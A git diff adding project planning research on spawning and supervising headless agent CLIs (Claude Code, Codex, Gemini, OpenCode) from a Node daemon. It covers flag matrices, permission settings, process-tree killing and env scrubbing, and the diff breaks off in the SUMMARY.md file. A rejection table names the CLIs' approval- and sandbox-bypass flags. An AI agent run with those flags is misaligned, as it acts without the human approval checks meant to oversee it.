a/.planning/milestones/v0.9.91-research/STACK.md b/.planning/milestones/v0.9.91-research/STACK.md new file mode 100644 index 000000000..ae21a4b09 --- /dev/null +++ b/.planning/milestones/v0.9.91-research/STACK.md @@ -0,0 +1,269 @@ +# Stack Research + +**Domain:** Headless agent-CLI spawning/supervision from a Node daemon (MCP-clients-as-providers, v0.9.91) +**Researched:** 2026-07-10 +**Confidence:** HIGH (flag matrices verified against live local binaries + current official docs; see per-section notes) + +> **Note:** This supersedes the v1.2.0 (Showcase i18n) `STACK.md` that occupied this path — unrelated to this milestone, recoverable from git history (same convention as the previous overwrite noted in that file's own header). + +> **Scope guard:** Existing validated stack (MV3 extension, vanilla JS, `fsb-mcp-server` on `@modelcontextprotocol/sdk ^1.29`, ws 8.x bridge on 7225, streamable-HTTP on 7226, platforms.ts registry, install.ts writers, universal-provider.js) is NOT re-researched. Everything below is only what the four NEW features need. + +--- + +## Headline Recommendation + +**Add zero new runtime dependencies to `mcp/`.** Every new capability — spawning agent CLIs, supervising them, parsing their JSONL streams, capturing `clientInfo`, detecting installed clients — is achievable with Node built-ins (`node:child_process`, `node:readline`, `node:fs`, `node:os`) plus APIs already present in the pinned `@modelcontextprotocol/sdk`. Shell out to the **user's own installed CLIs** (subscription auth preserved); do **not** embed the Claude Agent SDK (API-key-only auth, policy-prohibited subscription use — see tradeoff section). + +--- + +## Verified CLI Flag Matrices + +Verification method: flags run against **locally installed binaries** where available (strongest evidence), cross-checked against official docs fetched 2026-07-10. Do not trust flag names from memory at build time — each adapter should version-probe (` --version`) and treat the matrices below as the contract for the listed versions. + +### 1. Claude Code CLI — MVP adapter target + +**Verified against:** local `claude` **2.1.177** (`--help` output, verbatim) + https://code.claude.com/docs/en/cli-reference + /docs/en/headless + /docs/en/permissions (fetched 2026-07-10). Confidence: **HIGH**. + +| Capability | Flag (verbatim) | Notes | +|---|---|---| +| Headless run | `-p, --print` | "Print response and exit". All other flags compose with it. Prompt via argv or stdin pipe (stdin capped at 10MB since v2.1.128) | +| Streaming output | `--output-format stream-json` | Choices: `text` (default), `json` (single result), `stream-json` (newline-delimited JSON). Print mode only | +| Token-level partials | `--include-partial-messages` | "only works with --print and --output-format=stream-json". Emits `stream_event` lines with `text_delta` | +| Verbose (required) | `--verbose` | Docs' stream-json examples always include it; historically `-p --output-format stream-json` errors without `--verbose`. Include it unconditionally | +| Streaming input | `--input-format stream-json` | "realtime streaming input" — enables a persistent child receiving user turns as JSONL on stdin (chat-mode without respawn). Pairs with `--replay-user-messages` | +| Resume (chat-mode) | `-r, --resume [sessionId]` / `-c, --continue` | Session ID lookup is **scoped to the current project directory** and its worktrees — the daemon must use a stable per-provider cwd for resume to work | +| Fork / pin session | `--fork-session`, `--session-id ` | UUID must be valid; fork creates new ID on resume | +| Ephemeral (task-mode) | `--no-session-persistence` | "sessions will not be saved to disk and cannot be resumed (only works with --print)" | +| Agent persona | `--agent ` | "Agent for the current session. Overrides the 'agent' setting." | +| Inline agent definition | `--agents ` | Session-only, never written to disk — "useful for quick testing or automation scripts". Accepts full frontmatter fields: `description`, `prompt`, `tools`, `disallowedTools`, `model`, `permissionMode`, `mcpServers`, `hooks`, `maxTurns`, `skills`, `initialPrompt`, `memory`, `effort`, `background`, `isolation`, `color` | +| Tool allowlist | `--allowedTools` / `--allowed-tools ` | Comma or space separated; permission-rule syntax | +| Tool denylist | `--disallowedTools` / `--disallowed-tools` | Bare tool name removes tool from context entirely | +| Built-in tool restriction | `--tools ""` \| `"default"` \| `"Bash,Edit,Read"` | `--tools ""` strips ALL built-ins — strongest "browser-only" lockdown when combined with an MCP allowlist. Verify quoting behavior in a spike | +| Permission mode | `--permission-mode ` | Choices at 2.1.177 (verbatim from --help): `"acceptEdits", "auto", "bypassPermissions", "default", "dontAsk", "plan"`. (`manual` alias exists only ≥2.1.200.) **`dontAsk` is the delegation default we want:** "Auto-denies tools unless pre-approved via `permissions.allow` rules" | +| Hermetic MCP | `--mcp-config ` + `--strict-mcp-config` | Verbatim: "Only use MCP servers from --mcp-config, ignoring all other MCP configurations". `--mcp-config` accepts JSON **files or strings** | +| System prompt | `--append-system-prompt `, `--append-system-prompt-file ` | Also `--system-prompt(-file)` for full replacement — avoid; keep CC defaults | +| Budget rails | `--max-turns ` (print only), `--max-budget-usd ` | Both exist at current versions; belt-and-suspenders alongside daemon wall-clock timeout | +| Non-interactive permission broker | `--permission-prompt-tool ` | Optional later: route approval asks back through an FSB MCP tool instead of hard-deny | + +**MCP tool wildcard semantics (verified verbatim, code.claude.com/docs/en/permissions, 2026-07-10):** + +- `mcp__fsb` — "matches any tool provided by the `fsb` server" +- `mcp__fsb__*` — "uses wildcard syntax and also matches all tools from the server" (both forms valid today; older docs disallowed the `__*` form — this HAS changed) +- `mcp__fsb__read_page` — single tool +- Allow rules accept globs **only after a literal `mcp____` prefix** (`mcp__fsb__get_*` works); unanchored allow globs like `mcp__*` are "skipped with a warning". `mcp__*` works in **deny/ask** rules only. +- Recommendation: use bare `mcp__fsb` in `--allowedTools` (both forms equivalent; bare form is the one that has been stable across doc generations). + +**Critical auth gotcha (verified):** `--bare` mode "skips OAuth and keychain reads. Anthropic authentication must come from `ANTHROPIC_API_KEY` or an `apiKeyHelper`". Docs recommend `--bare` for scripts, **but FSB must NOT use it** — subscription auth is the entire point of agent providers. Hermeticity comes from `--strict-mcp-config` + `--agents` + `--settings` instead, which leaves OAuth intact. + +**stream-json event contract (verified, code.claude.com/docs/en/headless):** first line is `system` subtype `init` (session_id, model, tools, mcp_servers, plus a `capabilities` string array ≥2.1.205 — feature-detect from it, not from version strings); then `assistant`/`user` message lines, `stream_event` partials (with `--include-partial-messages`), `system/api_retry` on retryable API errors (fields: `attempt`, `max_retries`, `retry_delay_ms`, `error_status`, `error` category incl. `authentication_failed`, `billing_error`, `rate_limit`), terminal `result` line (includes `total_cost_usd`, per-model usage, `session_id`). One JSON object per line. + +**Reference delegation invocation (MVP shape):** + +```bash +claude -p --verbose \ + --output-format stream-json --include-partial-messages \ + --mcp-config '{"mcpServers":{"fsb":{"type":"http","url":"http://127.0.0.1:7226/mcp"}}}' \ + --strict-mcp-config \ + --agents "$(cat fsb-agent.json)" --agent fsb \ + --permission-mode dontAsk \ + --allowedTools "mcp__fsb" \ + --disallowedTools "Bash,Edit,Write,NotebookEdit,WebFetch,WebSearch" \ + --max-turns 40 \ + --no-session-persistence # task-mode only; omit + capture session_id for chat-mode +# prompt written to stdin (never argv — Windows quoting + length limits) +``` + +Two spike items flagged for the phase (5-minute checks, not blockers): (a) whether `--agent fsb` can select an agent defined inline via `--agents` in the same invocation (documented composition is indirect; fallback is `--append-system-prompt-file`, which is fully documented); (b) exact `--tools ""` quoting on Windows. + +Note the injected `--mcp-config` uses FSB's **existing streamable-HTTP endpoint (port 7226)** so the spawned CLI joins the already-running daemon/hub instead of forking a second stdio server process (which would spawn a competing hub and force relay promotion on 7225). + +### 2. Codex CLI + +**Verified against:** local `codex` **0.142.5** (`codex exec --help`, `codex mcp --help`, verbatim) + https://developers.openai.com/codex/noninteractive (→ redirects to learn.chatgpt.com/docs/non-interactive-mode) + config reference (learn.chatgpt.com/docs/config-file/config-reference), fetched 2026-07-10. npm latest: `@openai/codex` **0.144.1**. Confidence: **HIGH**. + +| Capability | Flag (verbatim from 0.142.5 --help) | Notes | +|---|---|---| +| Headless run | `codex exec [PROMPT]` | Prompt as arg, or `-` / piped stdin ("If stdin is piped and a prompt is also provided, stdin is appended as a `` block") | +| Streaming output | `--json` | "Print events to stdout as JSONL". Event types: `thread.started`, `turn.started`, `turn.completed`, `turn.failed`, `item.started`, `item.completed`; item types: `agent_message`, `reasoning`, `command_execution`, `mcp_tool_call`, `file_changes`, `web_search`, `plan_updates` | +| Final answer only | `-o, --output-last-message ` | Written to file, not stdout | +| Structured output | `--output-schema ` | JSON Schema for final response | +| Resume (chat-mode) | `codex exec resume ` / `codex exec resume --last "next instruction"` | Subcommand, not a flag | +| Ephemeral (task-mode) | `--ephemeral` | "Run without persisting session files to disk" — Codex's `--no-session-persistence` equivalent | +| Hermetic config | `--ignore-user-config` + `-c key=value` | "Do not load `$CODEX_HOME/config.toml`; **auth still uses `CODEX_HOME`**" — exactly the strict-MCP + subscription-auth combination FSB needs. `-c` takes dotted TOML paths, e.g. `-c 'mcp_servers.fsb.url="http://127.0.0.1:7226/mcp"'` | +| Profiles (alt hermetic path) | `-p, --profile ` | Layers `$CODEX_HOME/.config.toml` on top of base config ("CONFIG_PROFILE_V2") — FSB could install a `fsb-delegation.config.toml` | +| Sandbox | `-s, --sandbox ` | Default read-only. `--full-auto` is **deprecated** (docs: "prints warning; prefer --sandbox workspace-write") — do not emit it | +| Full bypass | `--dangerously-bypass-approvals-and-sandbox` | "EXTREMELY DANGEROUS" — never emit from FSB | +| Repo guard | `--skip-git-repo-check`, `-C, --cd ` | Needed: daemon scratch cwd is not a git repo | +| MCP config (persistent) | `[mcp_servers.]` in `config.toml` | Keys verbatim: `command`, `args`, `cwd`, `env`, `enabled`, `startup_timeout_sec`, `tool_timeout_sec`, `enabled_tools`, `disabled_tools`; HTTP servers: `url`, `http_headers`, `bearer_token_env_var`. `codex mcp list|get|add|remove|login|logout` exists (0.142.5) | +| Auth | ChatGPT login (subscription) by default; `CODEX_API_KEY` env only for CI | Matches key-less provider model | + +**Drift alert (MEDIUM confidence):** current config reference lists `approval_policy` values as `"untrusted"`, `"on-request"`, `"never"` plus a granular object — `on-failure` (present in training-data-era docs) is no longer listed. Since `codex exec` is non-interactive, FSB's adapter should rely on sandbox mode, not approval_policy; re-verify if approval_policy is ever emitted. + +### 3. Gemini CLI + +**Verified against:** https://github.com/google-gemini/gemini-cli `docs/cli/cli-reference.md`, `docs/cli/headless.md`, `docs/tools/mcp-server.md` (main branch, fetched 2026-07-10). npm latest: `@google/gemini-cli` **0.50.0**. Not installed locally — no binary cross-check. Confidence: **MEDIUM-HIGH** (current official docs, single source class). + +| Capability | Flag (verbatim from docs) | Notes | +|---|---|---| +| Headless run | `-p, --prompt` | "Appended to stdin input if provided. Forces non-interactive mode." Headless also triggers in non-TTY environments | +| Streaming output | `-o, --output-format stream-json` | Choices: `text`, `json`, `stream-json`. JSONL events: `init`, `message`, `tool_use`, `tool_result`, `error`, `result`. Exit codes: 0 success, 1 error, 42 input error, 53 turn-limit | +| Approval | `--approval-mode ` | `-y/--yolo` is **deprecated** ("Use --approval-mode=yolo instead") — do not emit `--yolo` | +| Tool allowlist | `--allowed-tools` **deprecated** ("Use the Policy Engine instead") | MCP-server-level gating is the supported path: `--allowed-mcp-server-names` (array) | +| Resume (chat-mode) | `-r, --resume <"latest"\|index>` | Plus `--list-sessions`, `--delete-session`. Resume support now exists (newer than training data) | +| MCP config | `mcpServers` in `~/.gemini/settings.json` or project `.gemini/settings.json` | Keys verbatim: `command`, `args`, `env`, `cwd`, `timeout` (ms, default 600000), `trust` (true "bypasses all tool call confirmations for this server"), `includeTools`, `excludeTools`; HTTP: `httpUrl` + `headers`; SSE: `url`. `gemini mcp add|list|remove|enable|disable` exists | +| Hermetic MCP | No per-invocation MCP flag | Achieve hermeticity by having the daemon own a scratch workspace dir containing `.gemini/settings.json` (project scope) + `--allowed-mcp-server-names fsb`; `trust: true` on the fsb entry to suppress per-tool confirmations | +| ACP | `--experimental-acp` | Alternative structured integration channel (see ACP note under OpenCode) | +| Model | `-m auto\|pro\|flash\|flash-lite` | | + +### 4. OpenCode + +**Verified against:** local `opencode` **1.14.25** (`opencode run --help`, verbatim) + https://opencode.ai/docs/cli/, /docs/mcp-servers/, /docs/agents/ (docs stamped "Last updated: Jul 10, 2026"). npm latest: `opencode-ai` **1.17.18**. Repo now lives at **anomalyco/opencode**. Confidence: **HIGH** for 1.14.25 flags, MEDIUM for renames in ≥1.15. + +| Capability | Flag | Notes | +|---|---|---| +| Headless run | `opencode run [message..]` | Message as positional args | +| Streaming output | `--format json` | Choices verbatim: `"default", "json"` — json = "raw JSON events". Event schema is NOT formally documented — adapter must treat it as best-effort and pin against fixtures | +| Agent persona | `--agent ` | Selects agent by name | +| Agent definitions | `opencode.json` `"agent"` key, or markdown in `~/.config/opencode/agents/` / `.opencode/agents/` | Fields: `description`, `mode` (`primary`\|`subagent`\|`all`), `model` (`provider/model`), `prompt` (`{file:./path}` supported), `permission` (`allow`\|`ask`\|`deny` per tool: `read`,`edit`,`bash`,`webfetch`,…), `temperature`, `steps` (max iterations). `opencode agent create` = interactive generator | +| Resume (chat-mode) | `-c, --continue`, `-s, --session `, `--fork` | | +| Permission bypass | 1.14.25: `--dangerously-skip-permissions` ("auto-approve permissions that are not explicitly denied (dangerous!)"); current docs list `--auto` with identical wording | **Rename in flight between 1.14.x and 1.17.x** — adapter must NOT hard-code either; prefer a shipped `fsb` agent with explicit `permission` config so no bypass flag is ever needed | +| MCP config | `opencode.json` / `opencode.jsonc` (project) or `~/.config/opencode/opencode.json` (global), `"mcp"` key | Local: `{"type":"local","command":["npx","-y","fsb-mcp-server"],"environment":{},"enabled":true,"timeout":5000}`; Remote: `{"type":"remote","url":"http://127.0.0.1:7226/mcp","headers":{},"enabled":true}`. Per-agent tool toggles support globs: `"tools": {"fsb*": true}` | +| Server modes | `opencode serve` (HTTP, `--port`/`--hostname`), `--attach `, `opencode acp` (ACP over stdio JSON-RPC) | `--attach` lets `run` reuse a running server — cheap process reuse for repeat delegations | + +**ACP note (applies to OpenCode + Gemini + future Zed-ecosystem agents):** both `opencode acp` and `gemini --experimental-acp` speak the Agent Client Protocol (JSON-RPC over stdio, zed.dev/acp). ACP is a *better long-term* delegation transport than scraping per-CLI JSONL (uniform session/permission/streaming semantics across agents), but it is the wrong MVP choice: Claude Code exposes no ACP server mode, and adding the `@zed-industries/agent-client-protocol` client library is a new dependency for adapters 2-4 only. Record it as the designated evolution path for the `AgentProviderAdapter` contract, not an MVP dependency. + +--- + +## Recommended Stack + +### Core Technologies (all built-in — zero new runtime deps) + +| Technology | Version | Purpose | Why Recommended | +|------------|---------|---------|-----------------| +| `node:child_process` `spawn` | Node ≥18.20.0 (mcp/ engines floor, unchanged) | Spawn + supervise agent CLIs | Only primitive that gives streaming stdio + `AbortSignal` + `detached` process groups. `signal` option verified in official docs: abort ≈ `.kill()` with `killSignal` (default `'SIGTERM'`), child errors with `AbortError` | +| `node:readline` (`createInterface({ input: child.stdout, crlfDelay: Infinity })`) | built-in | JSONL line framing for all four CLIs' stream output | Handles partial lines across chunk boundaries; zero deps; volume (LLM event streams) is far below any throughput where a Transform-stream splitter would matter. Wrap each line in `try { JSON.parse } catch` — all four CLIs may interleave non-JSON warnings on stderr, and OpenCode's event schema is undocumented | +| `@modelcontextprotocol/sdk` (existing pin ^1.29) | 1.29.0 | Capture `clientInfo` from `initialize` | **Verified in the pinned tag's source** (`src/server/index.ts` @ v1.29.0): `Server._oninitialize` stores `request.params.clientInfo` (L441) and exposes `getClientVersion(): Implementation | undefined` (L463) + `oninitialized` callback (L144). For the `McpServer` wrapper used in `mcp/src/server.ts`, access via `mcpServer.server.getClientVersion()` after `oninitialized` fires. Zero new code paths on the wire — INV-01 safe | +| `node:fs` / `node:os` | built-in | Installed-client detection | `platforms.ts` already carries per-OS config paths for 21 clients; detection = existence/mtime sweep over that registry. No library needed | +| `ws` (existing pin ^8.19) | 8.19+ | Reverse-request channel extension→daemon | New **additive** message types over the existing 7225 bridge (INV-01: additive only). No new transport | + +### Supporting Libraries + +| Library | Version | Purpose | When to Use | +|---------|---------|---------|-------------| +| — (none recommended) | | | The supervisor is ~200-300 lines of deliberate code; every candidate lib below was evaluated and rejected for this footprint (see Alternatives) | + +### Development Tools + +| Tool | Purpose | Notes | +|------|---------|-------| +| Recorded JSONL fixtures per CLI (`tests/fixtures/agent-streams/`) | Contract tests for stream parsers | Record real `claude -p --output-format stream-json`, `codex exec --json`, `gemini -o stream-json`, `opencode run --format json` outputs once per adapter; parsers tested offline. Protects against the repo's source-pin-style CI without live CLI calls | +| `claude --version` / `codex --version` / etc. probes | Adapter `detect()` capability gating | Known-good baselines verified in this research: claude 2.1.177, codex 0.142.5, opencode 1.14.25; gemini 0.50.0 (npm latest, docs-verified only). Claude ≥2.1.205 additionally exposes a `capabilities` array in `system/init` — prefer feature-detection over version compares where available | + +## Process Supervision Design Facts (verified from nodejs.org/api/child_process.html, 2026-07-10) + +These verbatim-verified behaviors dictate the supervisor implementation; encode them as tests: + +1. **Kill trees, POSIX:** `subprocess.kill()` does NOT kill grandchildren ("child processes of child processes will not be terminated when attempting to kill their parent"). Spawn with `detached: true` → child becomes "the leader of a new process group and session" → kill the whole tree with `process.kill(-child.pid, 'SIGTERM')`, escalate to `SIGKILL` after a ~5s grace. Do NOT call `subprocess.unref()` — the daemon must keep supervising. +2. **Kill trees, Windows:** negative-PID kill doesn't exist; `detached: true` gives the child "its own console window" instead. Use `spawn('taskkill', ['/pid', String(child.pid), '/T', '/F'])` (no graceful tier on Windows). Set `windowsHide: true` explicitly (verified default: `false`). +3. **Kill switch wiring:** one `AbortController` per delegation; `spawn(..., { signal })`. Abort kills with `killSignal` (default `'SIGTERM'`) and surfaces `AbortError` on the child's `error` event — map that to the side panel's "stopped by user" state, distinct from crash. +4. **Backpressure:** verbatim — "These pipes have limited (and platform-specific) capacity. If the subprocess writes to stdout in excess of that limit without the output being consumed, the subprocess blocks". Therefore attach stdout AND stderr consumers synchronously at spawn; keep stderr in a bounded ring buffer (e.g. last 64KB) for `doctor` diagnostics. +5. **Exit sequencing:** `'exit'` can fire while stdio is still open; "The `'close'` event will always emit after `'exit'`". Resolve the delegation only on `'close'` so trailing `result` lines are never lost. +6. **Prompt transport:** always write the task prompt to **stdin** (all four CLIs accept it), never argv — avoids shell quoting entirely, Windows ~32KB command-line limits, and prompt leakage in process listings. Close stdin after writing (Claude/codex read to EOF), EXCEPT in Claude chat-mode with `--input-format stream-json` where stdin stays open for subsequent user turns. +7. **Windows `.cmd` shims:** npm-installed CLIs (`claude`, `gemini`, `codex` via npm) are `.cmd` shims on Windows; since Node 18.20/20.12 (CVE-2024-27980) `spawn("claude.cmd")` without `shell: true` throws `EINVAL`. Resolve the real entry (prefer detecting the native binary; fall back to `{ shell: true }` with a fully fixed argv — safe here only because the prompt travels via stdin, never through the shell string). Confidence: MEDIUM-HIGH (well-documented Node security release; exact per-CLI installer layout to confirm during the Windows adapter phase). +8. **Env hygiene:** spawn with a copied, scrubbed env — explicitly delete `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`/`CODEX_API_KEY`, `GEMINI_API_KEY`/`GOOGLE_API_KEY` from the child env. Presence of these silently flips CLIs from subscription auth to API-key billing, breaking the "key-less agent provider" contract (verified for Claude: `system/init`→`api_retry` `billing_error` category exists precisely for this failure class). +9. **Timeouts:** two-tier — wall-clock cap per delegation AND an idle watchdog (no JSONL event for N seconds → probe/kill). `--max-turns` (Claude) / `steps` (OpenCode agent config) / exit code 53 (Gemini turn limit) provide agent-side backstops; the daemon-side timer is authoritative. + +## Claude Agent SDK vs. shelling to the CLI (explicit tradeoff) + +**Decision: shell to the user's installed `claude` binary. Do not add `@anthropic-ai/claude-agent-sdk`.** + +| Dimension | Shell to installed CLI | Embed `@anthropic-ai/claude-agent-sdk` (0.3.206) | +|---|---|---| +| Auth / billing | Uses whatever the user's CLI is logged in with — **Pro/Max subscription included**. This IS the product promise ("agent kind = no API key") | Docs verbatim (code.claude.com/docs/en/agent-sdk/overview, 2026-07-10): "Anthropic does not allow third party developers to offer claude.ai login or rate limits for their products, including agents built on the Claude Agent SDK. Please use the API key authentication methods". API key / Bedrock / Vertex / Foundry only | +| Distribution weight | 0 bytes — binary already on the user's machine (that's what "installed client detected" means) | SDK "bundles a native Claude Code binary for your platform as an optional dependency" — a second full Claude Code shipped inside `fsb-mcp-server`'s npm install, version-skewed from the user's own | +| Multi-agent symmetry | Same `spawn + JSONL` supervisor pattern for all four CLIs → one `AgentProviderAdapter` contract | Claude-only; Codex/Gemini/OpenCode still need the spawn path anyway → two runtimes to maintain | +| Programmatic ergonomics | Parse documented stream-json; in-process `canUseTool`-style brokering only via `--permission-prompt-tool` MCP indirection | Native message objects, `canUseTool` callback, in-process MCP servers — genuinely nicer API | +| Branding/policy | FSB launches the user's own installed tool (config-writer precedent: `claude mcp add` delegation already ships in install.ts) | SDK products may not present as "Claude Code"; adds compliance surface | +| Update coupling | User updates their CLI; adapter feature-detects (`system/init.capabilities`) | FSB owns the pinned SDK version and its update cadence | + +The ergonomics column is real but decisively outweighed: the SDK's auth policy alone disqualifies it for a feature whose definition is "use the subscription the user already pays for." If FSB ever wants an API-key-billed embedded execution path, that's what the existing `universal-provider.js` (7 providers) already is. + +## Installation + +```bash +# Runtime: nothing to install — Node built-ins + existing deps only. + +# mcp/ package: new modules, no package.json dependency changes +# mcp/src/agents/supervisor.ts (spawn/kill-tree/watchdog, ~200 lines) +# mcp/src/agents/adapters/*.ts (claude.ts first; codex/gemini/opencode later) +# mcp/src/agents/stream-parsers.ts (per-CLI JSONL event normalization) +# + additive WS message types in bridge.ts / agent-bridge.ts + +# Dev only: recorded stream fixtures under tests/fixtures/agent-streams/ +``` + +## Alternatives Considered + +| Recommended | Alternative | When to Use Alternative | +|-------------|-------------|-------------------------| +| Hand-rolled supervisor on `spawn` | `execa` 9.6.1 | If mcp/ ever grows many ad-hoc script invocations where its `cleanup`/template ergonomics pay off. For ONE long-lived supervised child shape it adds deps to a published npm package without solving tree-kill on POSIX (it also only signals the direct child) | +| `detached` + `kill(-pid)` / `taskkill /T` | `tree-kill` 1.2.2 | If FSB cannot use `detached: true` (e.g. a CLI misbehaves as a session leader). tree-kill walks `ps`/`pgrep` output — race-prone vs. atomic process-group kill; keep as fallback knowledge, not a dep | +| `node:readline` line framing | `split2` 4.2.0 | If a future stream needs true Transform-stream backpressure into a pipeline. Current consumer (WS fan-out to side panel) is push-based; readline suffices | +| Per-CLI JSONL adapters (MVP) | ACP client (`@zed-industries/agent-client-protocol`) via `opencode acp` / `gemini --experimental-acp` | Adapter v2, once ≥2 non-Claude agents are in scope — uniform protocol beats N bespoke parsers, but Claude Code (the MVP) doesn't speak it | +| `claude --resume` respawn per turn (chat-mode) | Persistent child with `--input-format stream-json` + `--output-format stream-json` | If per-turn respawn latency (CLI cold start) proves unacceptable in the side panel. More capable but adds lifetime management (idle child, SW-eviction interplay); benchmark before committing | +| Claude Code via its own CLI | `claude --permission-prompt-tool mcp__fsb__` consent brokering | Later consent-tier phase: lets FSB surface CLI permission asks in the side panel instead of blanket `dontAsk` denial | + +## What NOT to Use + +| Avoid | Why | Use Instead | +|-------|-----|-------------| +| `@anthropic-ai/claude-agent-sdk` | Policy-prohibited subscription auth for third-party products; bundles a duplicate CC binary; Claude-only | Spawn the user's installed `claude` (tradeoff table above) | +| `node-pty` (or any PTY layer) | All four CLIs have first-class non-interactive modes with clean piped stdio; PTY adds native-build deps to a published npm package and ANSI-garbage parsing | `spawn` with `stdio: ['pipe','pipe','pipe']` | +| `child_process.exec` / `execFile` for delegation | Buffers output until exit (`maxBuffer` kills long streams); no streaming | `spawn` + readline | +| `--dangerously-skip-permissions` (Claude), `--dangerously-bypass-approvals-and-sandbox` (Codex), `--approval-mode=yolo` (Gemini), `--auto`/`--dangerously-skip-permissions` (OpenCode) | Blanket bypass on a channel that is already RCE-adjacent; violates the milestone's "strict permission defaults, explicit consent tiers" | Claude: `--permission-mode dontAsk` + `--allowedTools "mcp__fsb"`; Codex: default `read-only` sandbox; Gemini: `--allowed-mcp-server-names fsb` + `trust` on the fsb server only; OpenCode: shipped agent `permission` map | +| `--bare` (Claude) | Skips OAuth/keychain → breaks subscription auth | `--strict-mcp-config` + `--agents` + explicit flags for hermeticity | +| Deprecated flags: `--full-auto` (Codex), `-y/--yolo` and `--allowed-tools` (Gemini) | Verified deprecated in current docs; emit warnings today, removal risk tomorrow | Current equivalents listed in the matrices | +| Pinning agent CLI versions in FSB | User-owned binaries update on their own cadence | `detect()` = version probe + capability gate (+ `system/init.capabilities` for Claude ≥2.1.205); fixtures pin the parser contract, not the binary | + +## Stack Patterns by Variant + +**Task-mode (MVP, per-delegation spawn):** +- Claude: `-p` + `--no-session-persistence` + stdin prompt; Codex: `codex exec --ephemeral`; ephemeral = no session litter in the user's CLI history. + +**Chat-mode (where supported):** +- Claude: omit `--no-session-persistence`, capture `session_id` from `system/init`/`result`, respawn with `--resume ` — **must reuse the same daemon-owned cwd** (session lookup is directory-scoped, verified). Codex: `codex exec resume `. Gemini: `-r ` (weaker: index-based). OpenCode: `-s `. + +**If the user's Claude ≥2.1.205:** read `system/init.capabilities` for feature detection instead of version parsing. + +**If delegation target is OpenCode with a running server:** prefer `opencode run --attach http://localhost:` over cold spawn. + +## Version Compatibility + +| Package/Binary | Compatible With | Notes | +|-----------|-----------------|-------| +| mcp/ `engines.node >=18.20.0` | All recommended built-ins | `spawn` `signal` (15.5+), `readline` promises (17+), `.cmd` EINVAL behavior starts exactly at 18.20 — floor unchanged, no bump needed | +| `@modelcontextprotocol/sdk` ^1.29 | `getClientVersion()` / `oninitialized` | Verified present in tag v1.29.0 source; note upstream repo `main` is now a v2 monorepo (`packages/server/src/server/server.ts` keeps the same accessor) — pin stays on 1.x | +| claude 2.1.177 (local baseline) | All matrix-1 flags | `manual` permission-mode alias needs ≥2.1.200; `capabilities` array needs ≥2.1.205 | +| codex 0.142.5 (local baseline) / npm 0.144.1 | All matrix-2 flags | `--ephemeral`, `--ignore-user-config`, `-c` overrides all present at 0.142.5 | +| opencode 1.14.25 (local) vs 1.17.18 (npm) | `run --format json`, `--agent`, sessions | Permission-bypass flag renamed between these versions (`--dangerously-skip-permissions` → docs' `--auto`) — adapter avoids both | +| gemini 0.50.0 (npm latest) | Matrix-3 flags | Docs-verified only; no local binary — first Gemini adapter phase must start with a live `--help` capture | + +## Sources + +- Local binaries (strongest evidence, run 2026-07-10): `claude --help` @ 2.1.177; `codex exec --help` + `codex mcp --help` @ 0.142.5; `opencode run --help` @ 1.14.25 — all flags quoted verbatim +- https://code.claude.com/docs/en/cli-reference — full flag list incl. `--agents` fields, `--tools`, `--permission-mode` values (HIGH) +- https://code.claude.com/docs/en/headless — stream-json event contract, `system/init` capabilities, `--bare` auth caveat, resume cwd-scoping, 10MB stdin cap (HIGH) +- https://code.claude.com/docs/en/permissions — MCP rule syntax `mcp__server` / `mcp__server__*` / anchored allow-globs, verbatim (HIGH) +- https://code.claude.com/docs/en/agent-sdk/overview — SDK auth policy quote, bundled-binary note, branding rules (HIGH) +- https://code.claude.com/docs/en/sub-agents — `--agents` JSON full field list, scope precedence (HIGH) +- Codex non-interactive docs: developers.openai.com/codex/noninteractive → learn.chatgpt.com/docs/non-interactive-mode; config: learn.chatgpt.com/docs/config-file/config-reference (fetched 2026-07-10) — JSONL events, resume, deprecated `--full-auto`, `[mcp_servers]` keys, approval_policy drift (HIGH for exec flags via local binary; MEDIUM for approval_policy set) +- google-gemini/gemini-cli `docs/cli/cli-reference.md`, `docs/cli/headless.md`, `docs/tools/mcp-server.md` @ main, 2026-07-10 (MEDIUM-HIGH; no local binary) +- https://opencode.ai/docs/cli/ + /docs/mcp-servers/ + /docs/agents/ (page-stamped "Jul 10, 2026") + [anomalyco/opencode issue #8463](https://github.com/anomalyco/opencode/issues/8463) / [#23370](https://github.com/anomalyco/opencode/issues/23370) re: bypass-flag naming (HIGH for 1.14.25 via local binary) +- OpenCode ACP: https://opencode.ai/docs/acp/ + https://zed.dev/acp/agent/opencode + https://zed.dev/acp (MEDIUM-HIGH) +- modelcontextprotocol/typescript-sdk tag v1.29.0 `src/server/index.ts` L135/L144/L441/L456-465 — `clientInfo` storage + `getClientVersion()` verified at the exact pinned version (HIGH) +- https://nodejs.org/api/child_process.html — detached/process-group, kill-tree limitation, AbortSignal, killSignal default, windowsHide default false, exit-vs-close, pipe backpressure block, shell warning, maxBuffer scope — all quoted verbatim (HIGH) +- npm registry (`npm view`, 2026-07-10): @anthropic-ai/claude-agent-sdk 0.3.206, @google/gemini-cli 0.50.0, opencode-ai 1.17.18, @openai/codex 0.144.1, tree-kill 1.2.2, execa 9.6.1, split2 4.2.0 (HIGH) + +--- +*Stack research for: v0.9.91 MCP Clients as Providers — agent-CLI spawning, supervision, and stream parsing* +*Researched: 2026-07-10* diff --git a/.planning/milestones/v0.9.91-research/SUMMARY.md b/.planning/milestones/v0.9.91-research/SUMMARY.md new file mode 100644 index 000000000..964a4f284 --- /dev/null +++ b/.planning/milestones/v0.9.91-research/SUMMARY.md @@ -0,0 +1,225 @@ +# Project Research Summary + +**Project:** FSB v0.9.91 — MCP Clients as Providers +**Domain:** Brownfield extension of an MV3 Chrome extension + Node MCP daemon to spawn/supervise agent CLIs (Claude Code first) as first-class side-panel providers driving the live browser via FSB's own MCP tools +**Researched:** 2026-07-10 +**Confidence:** HIGH + +## Executive Summary + +This is a brownfield integration milestone, not a greenfield build. All four research dimensions converge on a small, additive extension of proven FSB systems: the `platforms.ts` 21-client registry gains an identity/detection layer; the ws://7225 bridge gains a new reverse-request channel (`ext:*` frames, additive per INV-01); the `fsb-mcp-server serve` daemon gains a `SpawnSupervisor` module that shells to the user's installed agent CLI; and `EXECUTION_MODES` gains a fifth `delegated` entry. Zero new runtime dependencies — Node built-ins (`child_process`, `readline`, `fs`, `os`) plus the already-pinned `@modelcontextprotocol/sdk ^1.29` (which already exposes `server.getClientVersion()` — the seam is verified). The spawned CLI connects back as a normal FSB MCP client, reusing agent identity, tab ownership (v0.9.60), and visual-session badges (v0.9.36/62) unchanged — that pipeline reuse is the whole point. + +The recommended approach is a **security-first, contract-first, adapter-second** shape: identity capture and the Providers panel rename land first (pure additive, low risk, immediate value); then the reverse-request channel with all 